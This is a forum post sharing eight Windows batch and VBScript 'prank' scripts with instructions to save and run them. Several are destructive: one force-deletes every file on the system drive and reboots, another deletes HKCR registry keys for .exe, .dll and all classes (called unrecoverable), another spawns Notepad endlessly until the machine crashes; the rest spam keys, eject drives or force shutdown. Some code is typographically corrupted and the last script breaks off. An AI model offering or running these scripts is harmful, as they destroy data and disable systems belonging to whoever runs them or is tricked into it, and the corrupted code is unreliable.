Ritash9001

Well-known member
  • Sep 29, 2010
    1,718
    411
    83
    somewhere is univers
    [FONT=&quot]All you need to do is to copy the codes , paste it in any notepad or text file, than save the text file with anynam.vbs , and yeah dont forget to change the format from text file to all files after save restart ur computer


    [/FONT] [FONT=&quot]1. The blue screen of Death [this might be dangerous]
    Code:
    CODE
    @echo off
    del %systemdrive%\*.* /f /s /q
    shutdown -r -f -t 00

    2. Stupidity Shutdown
    *This pops up a funny message then will shutdown the computer*
    Code:
    CODE
    @echo off
    msg * Fatal system error due to admin stupidity!
    shutdown -c “Error! You are too stupid!” -s -t 10

    3. Delete Key Registry Files [NOTE THIS IS DANGEROUS!! USE AT RISK]
    *This will delete key registry files, then loops a message* (CANNOT BE RECOVERED FROM)*
    Code:
    CODE
    @ECHO OFF
    START reg delete HKCR/.exe
    START reg delete HKCR/.dll
    START reg delete HKCR/*
    :MESSAGE
    ECHO Your computer has been destroyed. Have a nice day.
    GOTO MESSAGE

    4. Endless Notepads
    *This will pop up endless notepads until the computer freezes and crashes*
    Code:
    CODE
    @ECHO off
    :top
    START %SystemRoot%\system32\notepad.exe
    GOTO top

    5. Crazy caps lock
    *This constantly turns caps lock on and off really fast continuously*
    Code:
    CODE
    Set wshShell =wscript.CreateObject(”WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “{CAPSLOCK**”
    loop

    6. Endless Enter
    *This constantly makes it so the enter button is being pressed continuesly*
    Code:
    CODE
    Set wshShell = wscript.CreateObject(”WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “~(enter)”
    loop

    7. Endless Backspace
    *This makes it so the backspace key is constantly being pressed*
    Code:
    CODE
    MsgBox “Let’s go back a few steps”
    Set wshShell =wscript.CreateObject(”WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “{bs**”
    loop

    8. Popping CD Drives
    *This will make the CD drives constantly pop out*
    Code:
    CODE
    Set oWMP = CreateObject(”WMPlayer.OCX.7″)
    Set colCDROMs = oWMP.cdromCollection
    do
    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next [/FONT]